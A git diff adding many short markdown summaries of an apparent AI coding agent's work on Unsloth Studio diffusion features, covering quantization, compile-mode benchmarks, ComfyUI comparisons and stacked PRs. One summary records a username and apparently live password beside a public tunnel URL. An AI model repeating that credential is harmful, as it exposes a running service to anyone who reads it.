100644 index 0000000000..b221fbfe01 --- /dev/null +++ b/async_task_outputs/async_task_output_flkdsl.md @@ -0,0 +1 @@ +- Asked if full platform/model opt done \ No newline at end of file diff --git a/async_task_outputs/async_task_output_fnfrer.md b/async_task_outputs/async_task_output_fnfrer.md new file mode 100644 index 0000000000..e57e8edf85 --- /dev/null +++ b/async_task_outputs/async_task_output_fnfrer.md @@ -0,0 +1 @@ +- Check int8 failures; fix if possible \ No newline at end of file diff --git a/async_task_outputs/async_task_output_fp4euz.md b/async_task_outputs/async_task_output_fp4euz.md new file mode 100644 index 0000000000..25b0cf8fc3 --- /dev/null +++ b/async_task_outputs/async_task_output_fp4euz.md @@ -0,0 +1 @@ +- img2img done; pending frontend Transform \ No newline at end of file diff --git a/async_task_outputs/async_task_output_g07jn5.md b/async_task_outputs/async_task_output_g07jn5.md new file mode 100644 index 0000000000..ac05ca82d9 --- /dev/null +++ b/async_task_outputs/async_task_output_g07jn5.md @@ -0,0 +1 @@ +- Extend done; live URL `https://pierre-airlines-barbie-continues.trycloudflare.com` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_g45aly.md b/async_task_outputs/async_task_output_g45aly.md new file mode 100644 index 0000000000..f33a03dfc2 --- /dev/null +++ b/async_task_outputs/async_task_output_g45aly.md @@ -0,0 +1 @@ +- Need faster inference; use 5 Opus \ No newline at end of file diff --git a/async_task_outputs/async_task_output_gbupqq.md b/async_task_outputs/async_task_output_gbupqq.md new file mode 100644 index 0000000000..f59de5d29e --- /dev/null +++ b/async_task_outputs/async_task_output_gbupqq.md @@ -0,0 +1 @@ +- `Yes do that for all models as well` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_girs82.md b/async_task_outputs/async_task_output_girs82.md new file mode 100644 index 0000000000..6eb7e28ec8 --- /dev/null +++ b/async_task_outputs/async_task_output_girs82.md @@ -0,0 +1 @@ +- Pending: compare `sd` vs PyTorch \ No newline at end of file diff --git a/async_task_outputs/async_task_output_gm6421.md b/async_task_outputs/async_task_output_gm6421.md new file mode 100644 index 0000000000..551f03190a --- /dev/null +++ b/async_task_outputs/async_task_output_gm6421.md @@ -0,0 +1 @@ +- PR `#6717` made; CI pending. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_gsjrok.md b/async_task_outputs/async_task_output_gsjrok.md new file mode 100644 index 0000000000..cb6b11918b --- /dev/null +++ b/async_task_outputs/async_task_output_gsjrok.md @@ -0,0 +1,3 @@ +- User requested: `Relaunch Studio with all changes and PRs` +- No decisions, file edits, commands, or errors in this span. +- PENDING: relaunch Studio reflecting all changes and PRs. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_gtnd4p.md b/async_task_outputs/async_task_output_gtnd4p.md new file mode 100644 index 0000000000..b74da0727a --- /dev/null +++ b/async_task_outputs/async_task_output_gtnd4p.md @@ -0,0 +1 @@ +• Asked GGUF backend: PyTorch vs cpp \ No newline at end of file diff --git a/async_task_outputs/async_task_output_gvgfb2.md b/async_task_outputs/async_task_output_gvgfb2.md new file mode 100644 index 0000000000..88001a1aa8 --- /dev/null +++ b/async_task_outputs/async_task_output_gvgfb2.md @@ -0,0 +1 @@ +Resume the latest directive: say "Continue work" and resume the current diffusion safetensors implementation task because the /goal is not yet achieved or there was an API interruption. No tool call is in flight; continue from the prepared state where the stacked-PR plan is complete, the live deployment and verification are done, and the remaining work is to move the diffusion safetensors implementation forward while keeping the unrelated pre-existing speed-work files separate. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_gyg5e6.md b/async_task_outputs/async_task_output_gyg5e6.md new file mode 100644 index 0000000000..639bcd73ca --- /dev/null +++ b/async_task_outputs/async_task_output_gyg5e6.md @@ -0,0 +1 @@ +- Relaunch Studio `--secure` stacked \ No newline at end of file diff --git a/async_task_outputs/async_task_output_h0941v.md b/async_task_outputs/async_task_output_h0941v.md new file mode 100644 index 0000000000..b2843faeac --- /dev/null +++ b/async_task_outputs/async_task_output_h0941v.md @@ -0,0 +1 @@ +- PR `#6670` created stacked on `#6658` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_hm2dbc.md b/async_task_outputs/async_task_output_hm2dbc.md new file mode 100644 index 0000000000..8e063e4f3b --- /dev/null +++ b/async_task_outputs/async_task_output_hm2dbc.md @@ -0,0 +1 @@ +- Pending: coverage final reply \ No newline at end of file diff --git a/async_task_outputs/async_task_output_hpt6vf.md b/async_task_outputs/async_task_output_hpt6vf.md new file mode 100644 index 0000000000..8dffded7a2 --- /dev/null +++ b/async_task_outputs/async_task_output_hpt6vf.md @@ -0,0 +1 @@ +- phase4/6 PRs merged: `#6679` `#6680` diff --git a/async_task_outputs/async_task_output_i04lr4.md b/async_task_outputs/async_task_output_i04lr4.md new file mode 100644 index 0000000000..910eaed4f8 --- /dev/null +++ b/async_task_outputs/async_task_output_i04lr4.md @@ -0,0 +1 @@ +- PR `#6690` merged? no; open/mergeable \ No newline at end of file diff --git a/async_task_outputs/async_task_output_i1geh5.md b/async_task_outputs/async_task_output_i1geh5.md new file mode 100644 index 0000000000..e11bdf1308 --- /dev/null +++ b/async_task_outputs/async_task_output_i1geh5.md @@ -0,0 +1,4 @@ +- User raised a pending concern: accuracy/safety of using `fast accumulation`, specifically whether overflow could cause issues. +- No decisions, file edits, commands, or errors occurred in this span. +- COMPLETED: captured the new review question. +- PENDING: answer/analyze overflow risk and accuracy implications of `fast accumulation`. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_i3cifp.md b/async_task_outputs/async_task_output_i3cifp.md new file mode 100644 index 0000000000..bb3f4c7edd --- /dev/null +++ b/async_task_outputs/async_task_output_i3cifp.md @@ -0,0 +1 @@ +Continue work per the latest directive: if the /goal is not yet achieved or there was an API error, resume the current diffusion safetensors implementation task. The latest assistant state has no in-flight tool call; the next concrete action is to inspect the current repo/git state and continue from the existing diffusion safetensors work without re-running completed verification or PR-planning tools. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_i4xvmi.md b/async_task_outputs/async_task_output_i4xvmi.md new file mode 100644 index 0000000000..97ff3bf964 --- /dev/null +++ b/async_task_outputs/async_task_output_i4xvmi.md @@ -0,0 +1 @@ +- Fixed int8 M=1; PR `#6716` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_i52q64.md b/async_task_outputs/async_task_output_i52q64.md new file mode 100644 index 0000000000..2d2ee2c8a8 --- /dev/null +++ b/async_task_outputs/async_task_output_i52q64.md @@ -0,0 +1 @@ +Continue from the latest user question: answer whether NXFP4/NVFP4 is supported through PyTorch core and TorchAO, based on the completed probe and PR updates. The in-flight work is complete: NVFP4 probe was measured, committed, pushed, PR body updated, and PR #6694 verified OPEN/MERGEABLE with sync 0/0. Next action is to provide the final concise answer: PyTorch core has FP4 primitives but no turnkey quantization flow; TorchAO supports NVFP4, but in this environment torch 2.9 only works with `use_triton_kernel=False` as a slow bf16-rate path, while the fast path needs MSLK or torch >= 2.11 CUTLASS FP4 extensions. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_if28t3.md b/async_task_outputs/async_task_output_if28t3.md new file mode 100644 index 0000000000..4212ba6241 --- /dev/null +++ b/async_task_outputs/async_task_output_if28t3.md @@ -0,0 +1,23 @@ +- Decision: shipped compile path uses `transformer.compile_repeated_blocks(fullgraph = True, dynamic = True)`, which forwards to `torch.compile`; effective settings are `fullgraph=True`, `dynamic=True`, and default `mode`. This was chosen because Studio can vary resolution/batch/steps without excessive recompiles. +- Decision: CUDA graphs are not enabled in the shipped path. Per `https://docs.pytorch.org/docs/stable/generated/torch.compile.html`, CUDA graphs come from `mode="reduce-overhead"` or `mode="max-autotune"`, while default mode gives Inductor fusion without graph capture. +- Decision: `dynamic=True` conflicts with CUDA graphs because graph capture expects static shapes. Switching to CUDA graphs would require `dynamic=False` and recompilation for new shapes. +- Decision: after ablation, `default` mode + `dynamic=True` remained the correct shipped choice because it was essentially as fast as autotune, much faster to compile, robust to shape changes, and avoided CUDA-graph runtime crashes. +- Decision: `max-autotune-no-cudagraphs` worked but was not worth enabling as default: `0.78 s` vs `0.80 s` was within run-to-run noise, while compile time increased from `5.7 s` to `66.2 s` and required `dynamic=False`. +- Decision: CUDA graph modes were rejected because they crashed in this pipeline, not merely because they were theoretically fragile. +- Clarification made: since `fullgraph=True` succeeds, there is no Dynamo graph break in the block; GGUF dequant is compile-traceable. The remaining inefficiency is Inductor declining codegen for Z-Image complex-valued ops: `"does not support code generation for complex operators"`. +- File context mentioned but not edited in this span: `diffusion_speed.py` contains the shipped compile call. +- File context mentioned but not edited in this span: `compile_probe.py` already has a `--mode` flag and was used for mode ablation. +- Command run: `LOG=logs/compile_modes_$(date +%Y%m%d_%H%M%S).log; echo "COMPILE MODES LOG: $LOG"; { for spec in "default:--mode default --dynamic" "maxautotune-nocg:--mode max-autotune-no-cudagraphs" "reduce-overhead:--mode reduce-overhead" "max-autotune:--mode max-autotune"; do ...` to ablate torch compile modes including CUDA graphs on GPU 6. +- Command status: background task `b01iys6fy` completed with exit code `0`. +- Command output file: `/home/ubuntu/CLAUDE_CODE_TMPDIR/claude-1000/-mnt-disks-unslothai-ubuntu-workspace-81/8723b9e3-2ab1-49e9-a4b1-d030954eb94a/tasks/b01iys6fy.output`. +- Command run: `cat "$(ls -t /mnt/disks/unslothai/ubuntu/workspace_81/unsloth/logs/compile_modes_*.log | head -1)"` to read the latest compile-mode ablation log. +- Key result: `default` with `--mode default --dynamic` gave eager `1.82s/gen`, compiled `0.80s/gen`, `+56.3% vs eager`, PSNR `37.7 dB`, compile time `5.7s`, verdict `COMPILE-WORKS FASTER`. +- Key result: `max-autotune-no-cudagraphs` with `dynamic=False` gave eager `1.83s/gen`, compiled `0.78 s`, `+57.2%`, PSNR `37.3 dB`, compile time `66.2 s`, and worked. +- Key result: `reduce-overhead` with CUDA graphs and `dynamic=False` failed. +- Key result: `max-autotune` with CUDA graphs and `dynamic=False` failed. +- Error encountered: both CUDA graph modes raised `RuntimeError: accessing tensor output of CUDAGraphs that has been overwritten by a subsequent run` at `transformer_z_image.py:271, in forward`. +- Error analysis: likely caused by regional compile plus CUDA graph output buffer reuse; denoiser calls the same compiled block repeatedly and Z-Image carries an output across calls, so the static CUDA graph output buffer is overwritten before a later read. +- Error resolution: resolved by keeping CUDA graphs disabled; no code changes were made to try manual `cudagraph_mark_step_begin()` or output cloning. +- Completed: answered why CUDA graphs were not being used and measured `default`, `max-autotune-no-cudagraphs`, `reduce-overhead`, and `max-autotune`. +- Completed: reported mode-by-mode speed, PSNR, compile time, and failure status. +- Pending: optional follow-up offered to wire `mode="max-autotune-no-cudagraphs"` into the opt-in `max` tier as a gated one-line change, leaving default unchanged. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_ii5oy0.md b/async_task_outputs/async_task_output_ii5oy0.md new file mode 100644 index 0000000000..9705d857bd --- /dev/null +++ b/async_task_outputs/async_task_output_ii5oy0.md @@ -0,0 +1 @@ +- Bench complete; `SUMMARY.md` written. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_j6lj1a.md b/async_task_outputs/async_task_output_j6lj1a.md new file mode 100644 index 0000000000..01f5911256 --- /dev/null +++ b/async_task_outputs/async_task_output_j6lj1a.md @@ -0,0 +1 @@ +- Fixed #197; LoRA E2E PASS; pending #195,#196,#185 subitems \ No newline at end of file diff --git a/async_task_outputs/async_task_output_jc0k23.md b/async_task_outputs/async_task_output_jc0k23.md new file mode 100644 index 0000000000..fee420c304 --- /dev/null +++ b/async_task_outputs/async_task_output_jc0k23.md @@ -0,0 +1,11 @@ +- Decision: served `wt-allprs` because branch `diffusion-all-prs` integrates stacked PRs `#6769`, `#6771`, `#6772`, `#6773` plus fixes including `e21700031`; verified HEAD is `929b8d8b3` with clean tree. +- Decision: rebuilt frontend dist before relaunch so latest frontend commits were baked in. +- Files changed: frontend build output regenerated under `/mnt/disks/unslothai/ubuntu/workspace_81/wt-allprs/studio/frontend/dist`, key asset `dist/assets/images--i_whlNR.js`. +- Commands run: in `/mnt/disks/unslothai/ubuntu/workspace_81/wt-allprs`, `git branch --show-current`, `git status --porcelain`, `git log --oneline -12`; key output `diffusion-all-prs`, clean relevant status, HEAD log includes `929b8d8b3`. +- Commands run: in `/mnt/disks/unslothai/ubuntu/workspace_81/wt-allprs/studio/frontend`, `npx vite build`; exit `0`, output `✓ built in 1.95s`. +- Commands run: killed old `run.py --host 127.0.0.1 --port 8898` and `cloudflared`; command exit `144`, noted as `SIGURG` artifact, kill succeeded. +- Commands run: curl readiness on `http://127.0.0.1:8898/`; before relaunch `000down`, after relaunch `200` after about `10s`. +- Relaunched backend from `/mnt/disks/unslothai/ubuntu/workspace_81/wt-allprs/studio/backend`; log `/mnt/disks/unslothai/ubuntu/workspace_81/logs/studio_relaunch_20260701_102325.log`. +- Verified tunnel `https://whenever-satisfaction-advertising-sunny.trycloudflare.com`; single listener on `:8898`. +- Verified auth with `unsloth` / `diffusion-Thrg7s3tr1-UoGYq`; `login OK`, token len `127`, LoRA and ControlNet endpoints `200`, image backend `loaded = False`. +- COMPLETED: Studio relaunched and ready with all stacked diffusion changes plus session fixes. PENDING: user testing, then next item likely SDXL or LoRA catalog. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_jw3r0h.md b/async_task_outputs/async_task_output_jw3r0h.md new file mode 100644 index 0000000000..4595142f6a --- /dev/null +++ b/async_task_outputs/async_task_output_jw3r0h.md @@ -0,0 +1 @@ +- GGUF GPU=diffusers; CPU/MPS=sd.cpp \ No newline at end of file diff --git a/async_task_outputs/async_task_output_jykfib.md b/async_task_outputs/async_task_output_jykfib.md new file mode 100644 index 0000000000..7bcce7f2c3 --- /dev/null +++ b/async_task_outputs/async_task_output_jykfib.md @@ -0,0 +1,10 @@ +- Decision: added **FLUX.1-Kontext-dev** because `FluxKontextPipeline` supports image+prompt editing, gated base was accessible, and `Q4_K_M` GGUF exists. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/diffusion_families.py`: added `flux-kontext` family with `FluxKontextPipeline`, `FluxTransformer2DModel`, base `black-forest-labs/FLUX.1-Kontext-dev`, `cfg_kwarg=guidance_scale`, edit workflow. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/frontend/src/features/images/images-page.tsx`: added Kontext Edit GGUF entry, supported keyword, gen default. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx`: unhid Kontext picker. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/tests/test_diffusion_backend.py`: updated detect_family expectations for Kontext support. +- Created `/mnt/disks/unslothai/ubuntu/workspace_81/scripts/repro_kontext_inprocess.py` and `/mnt/disks/unslothai/ubuntu/workspace_81/scripts/verify_kontext_http.py`. +- Commands: backend tests/build passed: `78 passed, 5 warnings`, `tsc=0`, `BUILD=0`; HTTP verify passed: `family: flux.1-kontext`, `kind: gguf`, `workflows: ['edit']`, `PASS`, `=== EXIT 0 ===`. +- Error: inline HTTP verify failed with `/bin/bash: eval: line 68: syntax error: unexpected end of file`; resolved by writing clean script. +- Deployed Studio at `https://influences-qualification-thesis-loop.trycloudflare.com`. +- Completed: task `#154` done, FLUX Kontext live and verified. Pending: `#152` mirror/macOS/Windows and committing stacked PRs. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_l2kwgd.md b/async_task_outputs/async_task_output_l2kwgd.md new file mode 100644 index 0000000000..3c2b32d78a --- /dev/null +++ b/async_task_outputs/async_task_output_l2kwgd.md @@ -0,0 +1 @@ +- Goal set: Studio image UI PR stack \ No newline at end of file diff --git a/async_task_outputs/async_task_output_lxspie.md b/async_task_outputs/async_task_output_lxspie.md new file mode 100644 index 0000000000..3a632310dd --- /dev/null +++ b/async_task_outputs/async_task_output_lxspie.md @@ -0,0 +1 @@ +- CPU bench done; sd.cpp wins RAM/speed \ No newline at end of file diff --git a/async_task_outputs/async_task_output_m2h34d.md b/async_task_outputs/async_task_output_m2h34d.md new file mode 100644 index 0000000000..04f40ea1a9 --- /dev/null +++ b/async_task_outputs/async_task_output_m2h34d.md @@ -0,0 +1,7 @@ +- User requested adding a dynamic check to distinguish consumer vs non-consumer GPUs, enabling the target behavior only for consumer GPUs. +- Preserve requirement verbatim: `Add a dynamic check to check if consumer vs non consumer - so enable it only if consumer - see https://developer.nvidia.com/cuda/gpus for example` +- Reference URL provided: `https://developer.nvidia.com/cuda/gpus` +- No files edited in this span. +- No commands run in this span. +- COMPLETED: captured the new requirement. +- PENDING: implement and verify the dynamic consumer GPU check. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_mk1dse.md b/async_task_outputs/async_task_output_mk1dse.md new file mode 100644 index 0000000000..36d6772312 --- /dev/null +++ b/async_task_outputs/async_task_output_mk1dse.md @@ -0,0 +1,5 @@ +- Built `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/accuracy_lpips.py`; LPIPS vs bf16 satisfied 25/50% rule. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/comfy_bench.py` for `flux.2-klein,z-image`. +- Created `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/outputs/FINAL_engine_comparison.md`. +- Key results: ours GPU beats ComfyUI 3.8-7.9x; CPU `sd.cpp` 60.3s vs diffusers 98.5s vs ComfyUI 102.4s. +- Errors: `/dev/null` and `/tmp/oi.json` blocked by sandbox; resolved with workspace paths. `pkill` exited 144 but confirmed `comfy procs: 0`. diff --git a/async_task_outputs/async_task_output_mk50gp.md b/async_task_outputs/async_task_output_mk50gp.md new file mode 100644 index 0000000000..a0e53649f9 --- /dev/null +++ b/async_task_outputs/async_task_output_mk50gp.md @@ -0,0 +1 @@ +- Need use `5 Opus subagents` on URLs. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_ml8dug.md b/async_task_outputs/async_task_output_ml8dug.md new file mode 100644 index 0000000000..eb13a07bcf --- /dev/null +++ b/async_task_outputs/async_task_output_ml8dug.md @@ -0,0 +1 @@ +Continue the research + implementation task: synthesize the 5 agents’ findings, the user’s speed-vs-quality tradeoff preference, and the empirical GPU probe results into concrete recommendations for Unsloth Studio diffusion performance/memory work. The `max`-tier compile-mode change, tests, commit, rebase, and push are already done; do not rerun those completed steps. Next action is to write the final synthesis/report, including that speed tests passed, the full selected suite passed, the branch was pushed, coordinate_descent_tuning was only ~2% faster, and FirstBlockCache failed on Z-Image in this stack. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_ms5hvl.md b/async_task_outputs/async_task_output_ms5hvl.md new file mode 100644 index 0000000000..34a7371f25 --- /dev/null +++ b/async_task_outputs/async_task_output_ms5hvl.md @@ -0,0 +1 @@ +- Pushed `ede94176f`; PR `#6690` green. diff --git a/async_task_outputs/async_task_output_nd0rln.md b/async_task_outputs/async_task_output_nd0rln.md new file mode 100644 index 0000000000..c8af458f07 --- /dev/null +++ b/async_task_outputs/async_task_output_nd0rln.md @@ -0,0 +1 @@ +- Pending: apply UI label/warning change? \ No newline at end of file diff --git a/async_task_outputs/async_task_output_ngnqc0.md b/async_task_outputs/async_task_output_ngnqc0.md new file mode 100644 index 0000000000..93821ea4f7 --- /dev/null +++ b/async_task_outputs/async_task_output_ngnqc0.md @@ -0,0 +1 @@ +- Done: NVFP4 2C PR `dbb029256` diff --git a/async_task_outputs/async_task_output_nloqq3.md b/async_task_outputs/async_task_output_nloqq3.md new file mode 100644 index 0000000000..016fa48e7d --- /dev/null +++ b/async_task_outputs/async_task_output_nloqq3.md @@ -0,0 +1 @@ +- GPU: diffusers; CPU/MPS: sd.cpp \ No newline at end of file diff --git a/async_task_outputs/async_task_output_nnlb1f.md b/async_task_outputs/async_task_output_nnlb1f.md new file mode 100644 index 0000000000..e78c60307f --- /dev/null +++ b/async_task_outputs/async_task_output_nnlb1f.md @@ -0,0 +1 @@ +- Built fast-transformer quant mode. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_nvg1ch.md b/async_task_outputs/async_task_output_nvg1ch.md new file mode 100644 index 0000000000..1a2f1ae9a0 --- /dev/null +++ b/async_task_outputs/async_task_output_nvg1ch.md @@ -0,0 +1 @@ +- Goal: benchmark `sd.cpp` vs ComfyUI \ No newline at end of file diff --git a/async_task_outputs/async_task_output_o1awff.md b/async_task_outputs/async_task_output_o1awff.md new file mode 100644 index 0000000000..57e9fe6119 --- /dev/null +++ b/async_task_outputs/async_task_output_o1awff.md @@ -0,0 +1,19 @@ +- Decision: Stacked PR prep was advanced without committing/pushing because outward-facing actions need user authorization; the plan is grounded in current git state. +- Decision: Existing uncommitted speed-related changes must be kept separate from the feature work because they appear pre-existing and unrelated to this session. +- Created `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/plans/diffusion-workflows-pr-plan.md`: added a stacked PR breakdown for work on branch `diffusion-eager-and-compile-cache`, including PR titles, summaries, file lists, and pre-PR test/build gates. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/plans/diffusion-workflows-pr-plan.md`: removed a stray tag after initial creation. +- Proposed stack in the plan: + 1. Backend PR: safetensors kinds, image-conditioned workflows (`img2img`/inpaint/outpaint), instruction-editing families (`Qwen-Image-Edit`, `FLUX Kontext`), and two bug fixes. + 2. Frontend PR: workflow-tab Images redesign, mask canvas, outpaint, Edit tab, Advanced Options, and spinner fix. + 3. sd.cpp installer hardening PR: independent pin, `sha256`, mirror-ready installer changes. +- Command run: `cd /mnt/disks/unslothai/ubuntu/workspace_81/unsloth 2>/dev/null || { echo "no unsloth repo"; exit 0; }; git branch --show-current; git remote -v | head -2; git log --oneline -8` exited successfully. +- Key output: current branch `diffusion-eager-and-compile-cache`; remote `oobabooga https://github.com/oobabooga/unsloth.git`; recent commits include `9a2cc341c Phase 16 review fixes: engine-switch unload, sd.cpp error mapping, per-image seeds, Qwen sampler`, `86b3a5d2d [pre-commit.ci] auto fixes from pre-commit.com hooks`, `7f3c206fa Studio diffusion (Phase 16): route no-GPU loads to the native sd.cpp engine`, `9c5b35c71 [pre-commit.ci] auto fix`. +- Command run: `git diff --stat` plus marker grep over ambiguous files exited successfully. +- Key output: tracked diff includes `scripts/diffusion_bench.py`, `studio/backend/core/inference/diffusion.py`, `studio/backend/core/inference/diffusion_engine_router.py`, `studio/backend/core/inference/diffusion_families.py`, `studio/backend/core/inference/diffusion_memory.py`, `studio/backend/core/inference/diffusion_speed.py`, `studio/backend/core/inference/sd_cpp_backend.py`, and more. +- Finding: `studio/backend/core/inference/diffusion_speed.py`, `studio/backend/tests/test_diffusion_speed.py`, `studio/backend/tests/conftest.py`, and `scripts/diffusion_bench.py` are uncommitted changes likely not from this session; grep found 0 of the session’s feature markers in them, about 150 lines total. +- Completed: autonomous feature build-out is described as complete: 5 workflows, 6 models, verified/reviewed/deployed. +- Completed: deployment is live at `https://influences-qualification-thesis-loop.trycloudflare.com`. +- Completed: items reported done include five workflows, six models, Advanced Options, FP8/INT8, two bug fixes, sd.cpp hardening, e2e suite + GIFs, completed review, `FLUX Kontext`, and PR plan. +- Pending: commit/push the 3 stacked PRs; assistant asked for explicit authorization before doing this. +- Pending: `#152` work requiring hardware/external action: publish `unslothai/stable-diffusion.cpp` mirror plus macOS/Windows staging. +- No unresolved errors in this span; only issue found was mixed uncommitted work, documented in the PR plan and left untouched. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_o8a9qk.md b/async_task_outputs/async_task_output_o8a9qk.md new file mode 100644 index 0000000000..67a4bf1808 --- /dev/null +++ b/async_task_outputs/async_task_output_o8a9qk.md @@ -0,0 +1,4 @@ +- Decided lock fp8 `use_fast_accum=True`: protects consumer Blackwell 838 TFLOPS path; 2:4 rejected due LPIPS `0.858`, kernel stride error, compile failure. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/diffusion_transformer_quant.py`; created `scripts/sparse_accum_probe.py`. +- Ran tests: `14 passed`; final `172 passed, 4993 deselected, 1 warning`. +- Push initially rejected; rebased onto `origin/diffusion-phase8-quant`; pushed `ead09c45c`. diff --git a/async_task_outputs/async_task_output_optks2.md b/async_task_outputs/async_task_output_optks2.md new file mode 100644 index 0000000000..1e012cf1c9 --- /dev/null +++ b/async_task_outputs/async_task_output_optks2.md @@ -0,0 +1 @@ +Continue the latest actionable directive: ensure the dynamic consumer-vs-non-consumer GPU check exists so the fast path is enabled only on consumer GPUs, using NVIDIA CUDA GPU data as reference. The assistant state says the work was synced and pushed, with all probes including `nvfp4_probe.py` on remote and PR #6694 open/mergeable; do not rerun the completed rebase/push/fetch. Next action is to inspect the current landed gating/probe state only if needed, then give the user the final concise status and answer that NVFP4 is available through torchao but only slow-path here until the fast kernel/torch >= 2.11 path is available. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_or1g7n.md b/async_task_outputs/async_task_output_or1g7n.md new file mode 100644 index 0000000000..d1c8325c75 --- /dev/null +++ b/async_task_outputs/async_task_output_or1g7n.md @@ -0,0 +1 @@ +- PR `#6694` open/mergeable; commit `983f2c14a`; fp8>mxfp8; `172 passed`. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_owynyb.md b/async_task_outputs/async_task_output_owynyb.md new file mode 100644 index 0000000000..aa80c80595 --- /dev/null +++ b/async_task_outputs/async_task_output_owynyb.md @@ -0,0 +1,3 @@ +- Decision: removed global weight buffers because benchmarks/allocator profile showed neutral/no useful memory win. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/tests/test_diffusion_speed.py`: removed `install_weight_buffer` stub and weight_buffer assertions; `eager` now expects no GGUF accelerator. +- Pending: search/remove remaining refs, delete `scripts/buffer_bench.py`, run `CUDA_VISIBLE_DEVICES="" python -m pytest tests/ -q -k "diffusion"`. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_p17g2s.md b/async_task_outputs/async_task_output_p17g2s.md new file mode 100644 index 0000000000..1f43d855ce --- /dev/null +++ b/async_task_outputs/async_task_output_p17g2s.md @@ -0,0 +1 @@ +- Planner started; user interrupted. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_p71aw7.md b/async_task_outputs/async_task_output_p71aw7.md new file mode 100644 index 0000000000..729837ffcf --- /dev/null +++ b/async_task_outputs/async_task_output_p71aw7.md @@ -0,0 +1 @@ +- PR 6658: supported models? \ No newline at end of file diff --git a/async_task_outputs/async_task_output_pacba3.md b/async_task_outputs/async_task_output_pacba3.md new file mode 100644 index 0000000000..21e15ad577 --- /dev/null +++ b/async_task_outputs/async_task_output_pacba3.md @@ -0,0 +1 @@ +- Asked if pre-quant also works for `int8` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_paq0f4.md b/async_task_outputs/async_task_output_paq0f4.md new file mode 100644 index 0000000000..ecbecb7859 --- /dev/null +++ b/async_task_outputs/async_task_output_paq0f4.md @@ -0,0 +1 @@ +- Bench: `1.83 s → 0.71 s` 2.56x. diff --git a/async_task_outputs/async_task_output_puv9lj.md b/async_task_outputs/async_task_output_puv9lj.md new file mode 100644 index 0000000000..e3659bd5e0 --- /dev/null +++ b/async_task_outputs/async_task_output_puv9lj.md @@ -0,0 +1 @@ +- PR `#6717` int8 prequant fix pending CI \ No newline at end of file diff --git a/async_task_outputs/async_task_output_pvz3p9.md b/async_task_outputs/async_task_output_pvz3p9.md new file mode 100644 index 0000000000..5e6b7b3a29 --- /dev/null +++ b/async_task_outputs/async_task_output_pvz3p9.md @@ -0,0 +1,16 @@ +- Decision: use ComfyUI fp8 + `--fast` as the fair “ComfyUI best” baseline because earlier GGUF-only comparisons understated ComfyUI’s optimized path. +- Decision: compare Z-Image and FLUX.2-klein using bf16 single-file checkpoints loaded through `UNETLoader` with `weight_dtype=fp8_e4m3fn_fast`, because ComfyUI casts to fp8 and this matches its best available dense path. +- Decision: final product conclusion is GPU `diffusers+opts` plus CPU/Mac `sd.cpp`, because `diffusers+opts` wins GPU across all 4 models while `sd.cpp` wins CPU. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/comfy_bench.py`: added `z-image-fp8` and `flux.2-klein-fp8` workflow support using ComfyUI fp8 casting. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/outputs/FINAL_engine_comparison.md`: updated final comparison with all 4 ComfyUI best fp8 results and final goal scorecard. +- Ran `python3 -c "...HfApi(...).list_repo_files(...)"` to find single-file checkpoints. Key output: `Comfy-Org/z_image_turbo` had `split_files/diffusion_models/z_image_turbo_bf16.safetensors`; `Comfy-Org/flux2-klein` had `split_files/diffusion_models/flux-2-klein-4b.safetensors`; `Comfy-Org/FLUX.2-klein` returned `RepositoryNotFoundError: 404 Client Error`. +- Ran download command from `/mnt/disks/unslothai/ubuntu/workspace_81` using `hf_hub_download`; key output: `OK z_image_turbo_bf16.safetensors: 12.31 GB` and `OK flux-2-klein-4b.safetensors: 7.75 GB`. +- Ran `python -m py_compile scripts/comfy_bench.py && echo "compile OK"`; exit OK with `compile OK`. +- Launched ComfyUI with `CUDA_VISIBLE_DEVICES=7 ComfyUI/.venv/bin/python ComfyUI/main.py --listen 127.0.0.1 --port 8235 --fast`; background server started, later stopped. +- Ran benchmark command: `python3 -u scripts/comfy_bench.py --port 8235 --gpu 7 --families z-image-fp8,flux.2-klein-fp8 --tag best2_fp8`; key output: `z-image-fp8` OK `lat=1.51s vram=75.0GB`; `flux.2-klein-fp8` OK `lat=1.00s vram=85.8GB`. +- Ran server cleanup command using `ps -ef | grep '[C]omfyUI/main.py' | awk '{print $2}' | while read p; do kill "$p"; done`; key output: `comfy procs: 0`. +- Final complete best-vs-best table: `z-image` our `0.509(int8)` vs ComfyUI fp8 `1.51` = `3.0x`; `flux.2-klein` our `0.269(int8)` vs `1.00` = `3.7x`; `flux.1` our `0.518(fp8)` vs `1.00` = `1.9x`; 